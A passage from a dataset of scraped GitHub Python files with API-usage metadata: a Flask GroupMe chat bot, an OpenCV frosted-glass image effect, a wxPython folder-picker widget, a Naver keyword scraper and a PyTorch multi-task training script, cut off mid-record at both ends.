"glycan_profiling.serialize.GlycopeptideSpectrumMatch.scan", "line_number": 148, "usage_type": "attribute"}, {"api_name": "glycan_profiling.serialize.GlycopeptideSpectrumMatch", "line_number": 148, "usage_type": "name"}, {"api_name": "glycan_profiling.serialize.GlycopeptideSpectrumMatch.analysis_id", "line_number": 149, "usage_type": "attribute"}, {"api_name": "glycan_profiling.serialize.GlycopeptideSpectrumMatch", "line_number": 149, "usage_type": "name"}, {"api_name": "glycan_profiling.serialize.GlycopeptideSpectrumMatch.is_best_match", "line_number": 150, "usage_type": "attribute"}, {"api_name": "glycan_profiling.serialize.GlycopeptideSpectrumMatch", "line_number": 150, "usage_type": "name"}, {"api_name": "glycan_profiling.serialize.GlycopeptideSpectrumMatch.q_value", "line_number": 151, "usage_type": "attribute"}, {"api_name": "glycan_profiling.serialize.GlycopeptideSpectrumMatch", "line_number": 151, "usage_type": "name"}, {"api_name": "glycan_profiling.serialize.GlycopeptideSpectrumMatch.score.desc", "line_number": 152, "usage_type": "call"}, {"api_name": "glycan_profiling.serialize.GlycopeptideSpectrumMatch.score", "line_number": 152, "usage_type": "attribute"}, {"api_name": "glycan_profiling.serialize.GlycopeptideSpectrumMatch", "line_number": 152, "usage_type": "name"}, {"api_name": "glycan_profiling.serialize.MSScan.index", "line_number": 152, "usage_type": "attribute"}, {"api_name": "glycan_profiling.serialize.MSScan", "line_number": 152, "usage_type": "name"}, {"api_name": "glycan_profiling.tandem.glycopeptide.scoring.CoverageWeightedBinomialModelTree.evaluate", "line_number": 191, "usage_type": "call"}, {"api_name": "glycan_profiling.tandem.glycopeptide.scoring.CoverageWeightedBinomialModelTree", "line_number": 191, "usage_type": "name"}]}
{"seq_id": "42552135340", "text": "import logging\nfrom logging.handlers import RotatingFileHandler\n\nimport groupy\nimport forecastio\nimport giphypop\nimport requests\nimport bs4\nfrom geopy.geocoders import Nominatim\nfrom flask import Flask, request\n\napplication = Flask(__name__)\napplication.config.from_object('settings')\n\nWEATHER_ICONS = {\n  'clear-day': '☀',\n  'clear-night': '🌑',\n  'rain': '☔',\n  'snow': '☃❄',\n  'sleet': '☃❄',\n  'wind': '🌬',\n  'fog': '≈',\n  'cloudy': '☁',\n  'partly-cloudy-day': '⛅',\n  'partly-cloudy-night': '☁🌑'\n}\n\ncommands = {}\n\n\ndef command(cmd):\n  def wrapped_command(function):\n    def wrapper(*args, **kwargs):\n      function(*args, **kwargs)\n    if cmd not in commands:\n      commands[cmd] = []\n    commands[cmd].append(wrapper)\n  return wrapped_command\n\n@command('!weather')\ndef weather(bot, message, author=None, debug=False):\n  api_key = application.config['FORECASTIO_API_KEY']\n\n  if api_key is None:\n    print('FORECASTIO_API_KEY not configured, not displaying weather information!')\n\n  geolocator = Nominatim()\n  location = geolocator.geocode(message or 'Austin, TX')\n  forecast = forecastio.load_forecast(api_key, location.latitude, location.longitude)\n  current = forecast.currently()\n  icon = WEATHER_ICONS[current.icon] or ''\n\n  post = '{0}  {1} {2}° (feels like {3}°)'.format(icon, current.summary, round(current.temperature), round(current.apparentTemperature))\n\n  if debug:\n    print(post)\n  else:\n    bot.post(post)\n\n@command('!gif')\ndef gif(bot, message, author=None, debug=False):\n  img = giphypop.translate(phrase=message, strict=True)\n\n  if debug:\n    print(img.media_url)\n  else:\n    bot.post(img.media_url)\n\n@command('!slap')\ndef slap(bot, message, author=None, debug=False):\n  if author is None:\n    return\n\n  slap = '{0} slaps {1} around a bit with a large trout'.format(author, message)\n\n  if debug:\n    print(slap)\n  else:\n    bot.post(slap)\n\n@command('!h')\ndef horoscope(bot, message, author=None, debug=False):\n  sign = message.lower()\n\n  signs = [\n    'aries',\n    'taurus',\n    'gemini',\n    'cancer',\n    'leo',\n    'virgo',\n    'libra',\n    'scorpio',\n    'sagittarius',\n    'capricorn',\n    'aquarius',\n    'pisces'\n  ]\n\n  if sign not in signs:\n    error = '{0} is not a star sign, zodiac thing, or whatever.'.format(message)\n    if debug:\n      print(error)\n    else:\n      bot.post()\n    return\n\n  url = 'http://www.horoscope.com/us/horoscopes/general/horoscope-general-daily-today.aspx?sign={0}'.format(signs.index(sign) + 1)\n  page = requests.get(url)\n\n  soup = bs4.BeautifulSoup(page.content, 'lxml')\n  elements = soup.select('.block-horoscope-text')\n  if len(elements) == 0:\n    print('Unable to find horoscope for: {0}'.format(message))\n    return\n  horoscope = '{0}: {1}'.format(message, elements[0].getText().strip())\n  if debug:\n    print(horoscope)\n  else:\n    bot.post(horoscope)\n\n@application.route('/pancakebot', methods=['POST'])\ndef hello():\n  data = request.get_json()\n  bot = groupy.Bot.list().first\n\n  user = data['name']\n  message = data['text']\n\n  print('Received message: {0}'.format(data))\n\n  for command in commands:\n    if not message.startswith(command + ' ') and message != command:\n      continue\n\n    print('Executing command: {0}'.format(command))\n\n    for callback in commands[command]:\n      try:\n        callback(bot, message[len(command):].strip(), author=user, debug=application.config['DEBUG'])\n      except Exception as e:\n        print('Error executing command: {0}'.format(command))\n        print(e)\n\n  return 'OK'\n\nif __name__ == '__main__':\n  application.run(host='0.0.0.0', port=5555)\n", "repo_name": "tonydalemorris/pancakebot", "sub_path": "pancakebot.py", "file_name": "pancakebot.py", "file_ext": "py", "file_size_in_byte": 3581, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 12, "usage_type": "call"}, {"api_name": "geopy.geocoders.Nominatim", "line_number": 47, "usage_type": "call"}, {"api_name": "forecastio.load_forecast", "line_number": 49, "usage_type": "call"}, {"api_name": "giphypop.translate", "line_number": 62, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 109, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 111, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 124, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 124, "usage_type": "name"}, {"api_name": "groupy.Bot.list", "line_number": 125, "usage_type": "call"}, {"api_name": "groupy.Bot", "line_number": 125, "usage_type": "attribute"}]}
{"seq_id": "41477386190", "text": "#!/usr/bin/env python\n# encoding: utf-8\n'''\n#-------------------------------------------------------------------\n#                   CONFIDENTIAL --- CUSTOM STUDIOS\n#-------------------------------------------------------------------\n#\n#                   @Project Name : 高级图片转换特效之毛玻璃\n#\n#                   @File Name    : effects_1.py\n#\n#                   @Programmer   : autofelix\n#\n#                   @Start Date   : 2022/01/14 13:14\n#\n#                   @Last Update  : 2022/01/14 13:14\n#\n#-------------------------------------------------------------------\n'''\nimport cv2\nimport numpy as np\n\nclass picture:\n    '''\n     This is a main Class, the file contains all documents.\n     One document contains paragraphs that have several sentences\n     It loads the original file and converts the original file to new content\n     Then the new content will be saved by this class\n    '''\n    def __init__(self):\n        self.path = 'assets/picture.jpeg'\n\n    def hello(self):\n        '''\n        This is a welcome speech\n        :return: self\n        '''\n        print('*' * 50)\n        print(' ' * 20 + '高级图片转换特效之毛玻璃')\n        print(' ' * 5 + '作者: autofelix  Date: 2022-01-16 13:14')\n        print(' ' * 5 + '主页: https://autofelix.blog.csdn.net')\n        print('*' * 50)\n        return self\n\n    def run(self):\n        # 读取原始图像\n        src = cv2.imread(self.path)\n        # 新建目标图像\n        dst = np.zeros_like(src)\n        # 获取图像行和列\n        rows, cols = src.shape[:2]\n        # 定义偏移量和随机数\n        offsets = 5\n        random_num = 0\n        # 毛玻璃效果: 像素点邻域内随机像素点的颜色替代当前像素点的颜色\n        for y in range(rows - offsets):\n            for x in range(cols - offsets):\n                random_num = np.random.randint(0, offsets)\n                dst[y, x] = src[y + random_num, x + random_num]\n        # 显示图像\n        cv2.imshow('src', src)\n        cv2.imshow('dst', dst)\n        cv2.waitKey()\n        cv2.destroyAllWindows()\n\nif __name__ == '__main__':\n    picture().hello().run()", "repo_name": "GraceQAQ/python-special-efficiency", "sub_path": "picture_effects_conversion_pro/effects_1.py", "file_name": "effects_1.py", "file_ext": "py", "file_size_in_byte": 2145, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "71", "api": [{"api_name": "cv2.imread", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 58, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 61, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 62, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 63, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 64, "usage_type": "call"}]}
{"seq_id": "31779242164", "text": "import wx\nfrom mdbutton import MDButton\n\nclass DirPicker(wx.Panel):\n    def __init__ (self, parent,\n                  style = wx.TAB_TRAVERSAL,\n                  labelText = 'Folder Path:',\n                  initValue = '',\n                  buttonText = 'Browse',\n                  dialogTitle = 'Choose a folder',\n                  pathCallback = None,\n                  name = 'dirpicker'):\n        super().__init__(parent, style=style, name=name)\n        self.labelText = labelText\n        self.initValue = initValue\n        self.buttonText = buttonText\n        self.dialogTitle = dialogTitle\n        self.callback = pathCallback\n        self.Font = parent.Font\n        self.BackgroundColour = parent.BackgroundColour\n        self.ForegroundColour = parent.ForegroundColour\n        self.createPicker()\n    \n    def createPicker(self):\n        vsizer = wx.BoxSizer(wx.VERTICAL)\n        self.label = self.makeLabel()\n        vsizer.Add(self.label, 0, wx.TOP, 16)\n        hsizer = wx.BoxSizer(wx.HORIZONTAL)\n        hsizer.Add(self.makeField(), 1, wx.ALIGN_BOTTOM|wx.RIGHT, 16)\n        self.button = self.makeButton()\n        hsizer.Add(self.button, 0)\n        vsizer.Add(hsizer, 0, wx.EXPAND|wx.TOP, 8)\n        self.SetAutoLayout(True)\n        self.SetSizerAndFit(vsizer)\n        self.Layout()\n    \n    def makeLabel(self):\n        label = wx.StaticText(self, -1, self.labelText, style=wx.ALIGN_LEFT)\n        label.BackgroundColour = self.BackgroundColour\n        self.sizeText(label, self.labelText)\n        return label\n    \n    def makeField(self):\n        self.field = wx.TextCtrl(self, value=self.initValue,\n            style=wx.TE_READONLY|wx.BORDER_NONE)\n        self.field.BackgroundColour = self.BackgroundColour\n        self.field.ForegroundColour = self.ForegroundColour\n        self.field.Font = self.Font\n        self.field.SetCanFocus(False)\n        self.field.ToolTip = f'Path to: {self.labelText}'\n        self.sizeText(self.field, self.initValue)\n        line = wx.Panel(self, size=(-1, 1))\n        line.BackgroundColour = self.ForegroundColour\n        sizer = wx.BoxSizer(wx.VERTICAL)\n        sizer.Add(self.field, 1, wx.EXPAND)\n        sizer.Add(line, 0, wx.EXPAND)\n        return sizer\n    \n    def makeButton(self):\n        button = MDButton(self, self.buttonText)\n        button.ToolTip = f'Click to browse to: {self.labelText}'\n        button.Bind(wx.EVT_BUTTON, self.onBrowse)\n        return button\n    \n    def setCallback(self, callbackFunc):\n        self.callback = callbackFunc\n    \n    def onBrowse(self, ev=None):\n        dirPath = wx.DirSelector(self.dialogTitle, \n            style=wx.DD_DEFAULT_STYLE|wx.DD_DIR_MUST_EXIST)\n        if dirPath:\n            self.field.Value = dirPath\n            if self.callback:\n                self.callback(self.Name, dirPath)\n    \n    def sizeText(self, elem, value):\n        width = self.CharWidth * (len(value) * 1.2 if value else 60) # (320, -1)\n        elem.MinSize = (round(width), self.CharHeight * 1.2)\n    ", "repo_name": "erik-morgan/code", "sub_path": "Python/pypub/dirpicker.py", "file_name": "dirpicker.py", "file_ext": "py", "file_size_in_byte": 2985, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "wx.Panel", "line_number": 4, "usage_type": "attribute"}, {"api_name": "wx.TAB_TRAVERSAL", "line_number": 6, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 25, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 25, "usage_type": "attribute"}, {"api_name": "wx.TOP", "line_number": 27, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 28, "usage_type": "call"}, {"api_name": "wx.HORIZONTAL", "line_number": 28, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_BOTTOM", "line_number": 29, "usage_type": "attribute"}, {"api_name": "wx.RIGHT", "line_number": 29, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 32, "usage_type": "attribute"}, {"api_name": "wx.TOP", "line_number": 32, "usage_type": "attribute"}, {"api_name": "wx.StaticText", "line_number": 38, "usage_type": "call"}, {"api_name": "wx.ALIGN_LEFT", "line_number": 38, "usage_type": "attribute"}, {"api_name": "wx.TextCtrl", "line_number": 44, "usage_type": "call"}, {"api_name": "wx.TE_READONLY", "line_number": 45, "usage_type": "attribute"}, {"api_name": "wx.BORDER_NONE", "line_number": 45, "usage_type": "attribute"}, {"api_name": "wx.Panel", "line_number": 52, "usage_type": "call"}, {"api_name": "wx.BoxSizer", "line_number": 54, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 54, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 55, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 56, "usage_type": "attribute"}, {"api_name": "mdbutton.MDButton", "line_number": 60, "usage_type": "call"}, {"api_name": "wx.EVT_BUTTON", "line_number": 62, "usage_type": "attribute"}, {"api_name": "wx.DirSelector", "line_number": 69, "usage_type": "call"}, {"api_name": "wx.DD_DEFAULT_STYLE", "line_number": 70, "usage_type": "attribute"}, {"api_name": "wx.DD_DIR_MUST_EXIST", "line_number": 70, "usage_type": "attribute"}]}
{"seq_id": "33618457037", "text": "import requests\nimport bs4 #beautiful soup\n#요청\nurl  = 'https://www.naver.com/'\n\n# response = requests.get(url)\n\n# html = response.text\n# # url을 텍스트로 변환\n# soup = bs4.BeautifulSoup(html, 'html.parser')\n# keywords = soup.select('.ah_l .ah_item .ah_a .ah_k')\n# # soup중에서 불러오기/parser했기에 가능\n# print(keywords)\n\nselector = '.ah_l .ah_item .ah_a .ah_k'\nhtml = requests.get(url).text\nsoup = bs4.BeautifulSoup(html, 'html.parser')\nranks = soup.select(selector)\n\nfor rank in ranks:\n    print(rank.text)\n# 왜 텍스트 두 번?", "repo_name": "paik11012/TIL", "sub_path": "StartCamp/02_DAY/01_naver_rank.py", "file_name": "01_naver_rank.py", "file_ext": "py", "file_size_in_byte": 557, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.get", "line_number": 16, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "6919701503", "text": "import argparse\nimport gc\nimport os\nimport time\n\nimport numpy as np\nimport torch\nimport torch.backends.cudnn as cudnn\nimport torch.distributed as dist\nimport torch.nn as nn\nimport torch.optim as optim\nfrom tensorboardX import SummaryWriter\nfrom torch.utils.data import DataLoader\n\nfrom data_loader.pose_check_dataset import MultiTaskDatasetV2\nfrom models.uninet_mt import UniNet_MT_V2\nfrom utils.utils import get_step_schedule_with_warmup, dict2cuda, add_summary, \\\n\tDictAverageMeter, calc_stat\n\ncudnn.benchmark = True\n\nparser = argparse.ArgumentParser(description='Deep stereo using adaptive cost volume.')\nparser.add_argument('--root_path', type=str, help='path to root directory.')\nparser.add_argument('--train_list', type=str, help='train scene list.', default='')\nparser.add_argument('--val_list', type=str, help='val scene list.', default='')\nparser.add_argument('--save_path', type=str, help='path to save checkpoints.')\nparser.add_argument('--restore_path', type=str, default='')\n\nparser.add_argument('--epochs', type=int, default=20)\nparser.add_argument('--lr', type=float, default=0.001)\nparser.add_argument('--lr_idx', type=str, default=\"50,100,160:0.5\")\nparser.add_argument('--wd', type=float, default=0.0, help='weight decay')\nparser.add_argument('--batch_size', type=int, default=32)\n\nparser.add_argument('--log_freq', type=int, default=100, help='print and summary frequency')\nparser.add_argument('--save_freq', type=int, default=10000, help='save checkpoint frequency.')\nparser.add_argument('--eval_freq', type=int, default=10000, help='evaluate frequency.')\n\nparser.add_argument('--sync_bn', action='store_true',help='Sync BN.')\nparser.add_argument('--opt_level', type=str, default=\"O0\")\nparser.add_argument('--seed', type=int, default=0)\nparser.add_argument('--local_rank', type=int, default=0)\nparser.add_argument('--num_workers', type=int, default=4)\nparser.add_argument('--distributed', action='store_true')\n\nargs = parser.parse_args()\n# num_gpus = int(os.environ[\"WORLD_SIZE\"]) if \"WORLD_SIZE\" in os.environ else 1\nis_distributed = args.distributed\n\ntorch.manual_seed(args.seed)\ntorch.cuda.manual_seed(args.seed)\ndevice = torch.device(\"cuda\")\n\nif args.sync_bn:\n\timport apex\n\timport apex.amp as amp\n\n\ndef print_func(data: dict, prefix: str= ''):\n\tfor k, v in data.items():\n\t\tif isinstance(v, dict):\n\t\t\tprint_func(v, prefix + '.' + k)\n\t\telif isinstance(v, list):\n\t\t\tprint(prefix+'.'+k, v)\n\t\telse:\n\t\t\tprint(prefix+'.'+k, v.shape)\n\ndef main(args, model, optimizer, scheduler, train_loader, val_loader, train_sampler, start_step=0):\n\n\ttrain_step = start_step\n\tstart_ep = start_step // len(train_loader)\n\n\tmodel.train()\n\tfor ep in range(start_ep, args.epochs):\n\t\tnp.random.seed()\n\t\ttrain_scores = DictAverageMeter()\n\t\tif train_sampler is not None:\n\t\t\ttrain_sampler.set_epoch(ep)\n\n\t\tfor batch_idx, sample in enumerate(train_loader):\n\t\t\ttic = time.time()\n\n\t\t\tsample_cuda = dict2cuda(sample)\n\n\t\t\t# print_func(sample_cuda)\n\t\t\toptimizer.zero_grad()\n\t\t\tret = model(sample_cuda)\n\t\t\tloss = ret['loss'].mean()\n\t\t\tpreds = ret['preds']\n\t\t\tloss_items = [l.mean() for l in ret['loss_items']]\n\n\t\t\t# print_func(outputs)\n\t\t\tif is_distributed and args.sync_bn:\n\t\t\t\twith amp.scale_loss(loss, optimizer) as scaled_loss:\n\t\t\t\t\tscaled_loss.backward()\n\t\t\telse:\n\t\t\t\tloss.backward()\n\n\t\t\toptimizer.step()\n\t\t\tscheduler.step()\n\n\t\t\tif train_step % args.log_freq == 0:\n\t\t\t\ttrain_scores.update({'loss': float(loss),\n\t\t\t\t                     'contact_loss': float(loss_items[0]),\n\t\t\t\t                     'stable_loss': float(loss_items[1]),\n\t\t\t\t                     'offset_loss': float(loss_items[2]),\n\t\t\t\t                     'variance_loss': float(loss_items[3])\n\t\t\t\t                     })\n\n\t\t\t\tcalc_stat(sample_cuda, preds[0], train_scores, label_type='stable')\n\t\t\t\tcalc_stat(sample_cuda, preds[1], train_scores, label_type='contact')\n\n\t\t\t\tavg_stat = train_scores.mean()\n\t\t\t\tprint(\"[Rank: {}] time={:.2f} Epoch {}/{}, Iter {}/{}, lr {:.6f}, stats: {}\".format(\n\t\t\t\t\targs.local_rank, time.time() - tic,\n\t\t\t\t\tep, args.epochs, batch_idx, len(train_loader),\n\t\t\t\t\toptimizer.param_groups[0][\"lr\"],\n\t\t\t\t\tavg_stat))\n\t\t\t\tif on_main:\n\t\t\t\t\tadd_summary([{'type': 'scalars', 'tags': list(avg_stat.keys()),\n\t\t\t\t\t              'vals': list(avg_stat.values())}],\n\t\t\t\t\t            logger=logger, step=train_step, flag='train')\n\n\t\t\t\tdel sample_cuda\n\t\t\t\tdel avg_stat\n\t\t\t\tgc.collect()\n\n\t\t\tif on_main and train_step % args.save_freq == 0:\n\t\t\t\ttorch.save({\"step\": train_step,\n\t\t\t                \"model\": model.module.state_dict(),\n\t\t\t                \"optimizer\": optimizer.state_dict(),\n\t\t\t\t            \"scheduler\": scheduler.state_dict(),\n\t\t\t\t            },\n\t\t\t                \"{}/model_{:08d}.ckpt\".format(args.save_path, train_step))\n\n\t\t\tif train_step % args.eval_freq == 0:\n\t\t\t\tprint('evaluating model_{:08d}.ckpt ...'.format(train_step))\n\t\t\t\twith torch.no_grad():\n\t\t\t\t\ttest(args, model, val_loader, train_step)\n\t\t\t\tmodel.train()\n\n\t\t\ttrain_step += 1\n\n\t\tdel train_scores\n\t\tgc.collect()\n\ndef test(args, model, test_loader, train_step):\n\tmodel.eval()\n\tval_scores = DictAverageMeter()\n\tfor batch_idx, sample in enumerate(test_loader):\n\t\tsample_cuda = dict2cuda(sample)\n\t\tret = model(sample_cuda)\n\t\tpreds = ret['preds']\n\t\tcalc_stat(sample_cuda, preds[0], val_scores, label_type='stable')\n\t\tcalc_stat(sample_cuda, preds[1], val_scores, label_type='contact')\n\n\tavg_stat = val_scores.mean()\n\tprint(\"[Rank: {}] step {:06d}, stats: {}\".format(args.local_rank, train_step, avg_stat))\n\tif on_main:\n\t\tadd_summary([{'type': 'scalars', 'tags': list(avg_stat.keys()),\n\t\t              'vals': list(avg_stat.values())}],\n\t\t            logger=logger, step=train_step, flag='val')\n\n\tdel sample_cuda\n\tdel avg_stat\n\tdel val_scores\n\tgc.collect()\n\ndef distribute_model(args):\n\tdef sync():\n\t\tif not dist.is_available():\n\t\t\treturn\n\t\tif not dist.is_initialized():\n\t\t\treturn\n\t\tif dist.get_world_size() == 1:\n\t\t\treturn\n\t\tdist.barrier()\n\tif is_distributed:\n\t\ttorch.cuda.set_device(args.local_rank)\n\t\ttorch.distributed.init_process_group(\n\t\t\tbackend=\"nccl\", init_method=\"env://\"\n\t\t)\n\t\tsync()\n\n\tstart_step = 0\n\n\tmodel: torch.nn.Module = UniNet_MT_V2(mask_channel=True, bootle_neck=256)\n\tif args.restore_path:\n\t\tcheckpoint = torch.load(args.restore_path, map_location=torch.device(\"cpu\"))\n\t\tmodel.load_state_dict(checkpoint['model'], strict=True)\n\n\tmodel.to(device)\n\n\toptimizer = optim.Adam(filter(lambda p: p.requires_grad, model.parameters()), lr=args.lr, betas=(0.9, 0.999),\n\t                       weight_decay=args.wd)\n\n\ttrain_set = MultiTaskDatasetV2(root_dir=args.root_path, list_path=args.train_list,\n\t                               use_aug=True, )\n\tprint('train set ready.')\n\tval_set = MultiTaskDatasetV2(root_dir=args.root_path, list_path=args.val_list,\n\t                             use_aug=False,)\n\tprint('val set ready.')\n\tif is_distributed:\n\t\tif args.sync_bn:\n\t\t\tmodel = apex.parallel.convert_syncbn_model(model)\n\t\t\tmodel, optimizer = amp.initialize(model, optimizer, opt_level=args.opt_level, )\n\t\t\tprint('Convert BN to Sync_BN successful.')\n\n\t\tmodel = nn.parallel.DistributedDataParallel(\n\t\t\tmodel, device_ids=[args.local_rank], output_device=args.local_rank,)\n\n\t\ttrain_sampler = torch.utils.data.DistributedSampler(train_set, num_replicas=dist.get_world_size(),\n\t\t                                                    rank=dist.get_rank())\n\t\tval_sampler = torch.utils.data.DistributedSampler(val_set, num_replicas=dist.get_world_size(),\n\t\t                                                   rank=dist.get_rank())\n\telse:\n\t\tmodel = nn.DataParallel(model)\n\t\ttrain_sampler, val_sampler = None, None\n\n\tdef worker_init_fn(worker_id):\n\t\tnp.random.seed(np.random.get_state()[1][0] + worker_id)\n\n\ttrain_loader = DataLoader(train_set, args.batch_size, sampler=train_sampler,\n\t                          num_workers=args.num_workers, pin_memory=True,\n\t                          drop_last=True, shuffle=not is_distributed, worker_init_fn=worker_init_fn)\n\tval_loader = DataLoader(val_set, 64, sampler=val_sampler,\n\t                        num_workers=1, pin_memory=True,\n\t                        drop_last=False, shuffle=False, worker_init_fn=worker_init_fn)\n\n\tmilestones = list(map(float, args.lr_idx.split(':')[0].split(',')))\n\tassert np.max(milestones) <= 1.0, milestones\n\tmilestones = list(map(lambda x: int(float(x) * float(len(train_loader) * args.epochs)), milestones))\n\tgamma = float(args.lr_idx.split(':')[1])\n\twarpup_iters = min(500, int(0.05*len(train_loader)))\n\n\tscheduler = get_step_schedule_with_warmup(optimizer=optimizer, milestones=milestones,\n\t                                          gamma=gamma, warmup_iters=warpup_iters)\n\n\tif args.restore_path:\n\t\toptimizer.load_state_dict(checkpoint['optimizer'])\n\t\tscheduler.load_state_dict(checkpoint['scheduler'])\n\t\tstart_step = checkpoint['step']\n\t\tprint(\"Restoring checkpoint {} ...\".format(args.restore_path))\n\n\treturn model, optimizer, scheduler, train_loader, val_loader, train_sampler, start_step\n\nif __name__ == '__main__':\n\tmodel, optimizer, scheduler, train_loader, val_loader, train_sampler, start_step = distribute_model(args)\n\ton_main = (not is_distributed) or (dist.get_rank() == 0)\n\tif on_main:\n\t\tos.makedirs(args.save_path, exist_ok=True)\n\t\tlogger = SummaryWriter(args.save_path)\n\t\tprint(args)\n\n\tmain(args=args, model=model, optimizer=optimizer, scheduler=scheduler,\n\t     train_loader=train_loader, val_loader=val_loader, train_sampler=train_sampler, start_step=start_step)\n\n", "repo_name": "touristCheng/Learning2Regrasp", "sub_path": "pose_check/train_multi_task_var_impl.py", "file_name": "train_multi_task_var_impl.py", "file_ext": "py", "file_size_in_byte": 9388, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 18, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.backends.cudnn.benchmark", "line_number": 20, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 20, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 51, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 75, "usage_type": "attribute"}, {"api_name": "utils.utils.DictAverageMeter", "line_number": 76, "usage_type": "call"}, {"api_name": "time.time", "line_number": 81, "usage_type": "call"}, {"api_name": "utils.utils.dict2cuda", "line_number": 83, "usage_type": "call"}, {"api_name": "apex.amp.scale_loss", "line_number": 94, "usage_type": "call"}, {"api_name": "apex.amp", "line_number": 94, "usage_type": "name"}, {"api_name": "utils.utils.calc_stat", "line_number": 110, "usage_type": "call"}, {"api_name": "utils.utils.calc_stat", "line_number": 111, "usage_type": "call"}, {"api_name": "time.time", "line_number": 115, "usage_type": "call"}, {"api_name": "utils.utils.add_summary", "line_number": 120, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 126, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 138, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 145, "usage_type": "call"}, {"api_name": "utils.utils.DictAverageMeter", "line_number": 149, "usage_type": "call"}, {"api_name": "utils.utils.dict2cuda", "line_number": 151, "usage_type": "call"}, {"api_name": "utils.utils.calc_stat", "line_number": 154, "usage_type": "call"}, {"api_name": "utils.utils.calc_stat", "line_number": 155, "usage_type": "call"}, {"api_name": "utils.utils.add_summary", "line_number": 160, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 167, "usage_type": "call"}, {"api_name": "torch.distributed.is_available", "line_number": 171, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 171, "usage_type": "name"}, {"api_name": "torch.distributed.is_initialized", "line_number": 173, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 173, "usage_type": "name"}, {"api_name": "torch.distributed.get_world_size", "line_number": 175, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 175, "usage_type": "name"}, {"api_name": "torch.distributed.barrier", "line_number": 177, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 177, "usage_type": "name"}, {"api_name": "torch.cuda.set_device", "line_number": 179, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 179, "usage_type": "attribute"}, {"api_name": "torch.distributed.init_process_group", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 180, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 187, "usage_type": "attribute"}, {"api_name": "models.uninet_mt.UniNet_MT_V2", "line_number": 187, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 189, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 189, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 194, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 194, "usage_type": "name"}, {"api_name": "data_loader.pose_check_dataset.MultiTaskDatasetV2", "line_number": 197, "usage_type": "call"}, {"api_name": "data_loader.pose_check_dataset.MultiTaskDatasetV2", "line_number": 200, "usage_type": "call"}, {"api_name": "apex.parallel.convert_syncbn_model", "line_number": 205, "usage_type": "call"}, {"api_name": "apex.parallel", "line_number": 205, "usage_type": "attribute"}, {"api_name": "apex.amp.initialize", "line_number": 206, "usage_type": "call"}, {"api_name": "apex.amp", "line_number": 206, "usage_type": "name"}, {"api_name": "torch.nn.parallel.DistributedDataParallel", "line_number": 209, "usage_type": "call"}, {"api_name": "torch.nn.parallel", "line_number": 209, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 209, "usage_type": "name"}, {"api_name": "torch.utils.data.DistributedSampler", "line_number": 212, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 212, "usage_type": "attribute"}, {"api_name": "torch.distributed.get_world_size", "line_number": 212, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 212, "usage_type": "name"}, {"api_name": "torch.distributed.get_rank", "line_number": 213, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 213, "usage_type": "name"}, {"api_name": "torch.utils.data.DistributedSampler", "line_number": 214, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 214, "usage_type": "attribute"}, {"api_name": "torch.distributed.get_world_size", "line_number": 214, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 214, "usage_type": "name"}, {"api_name": "torch.distributed.get_rank", "line_number": 215, "usage_type": "call"}, {"api_name": 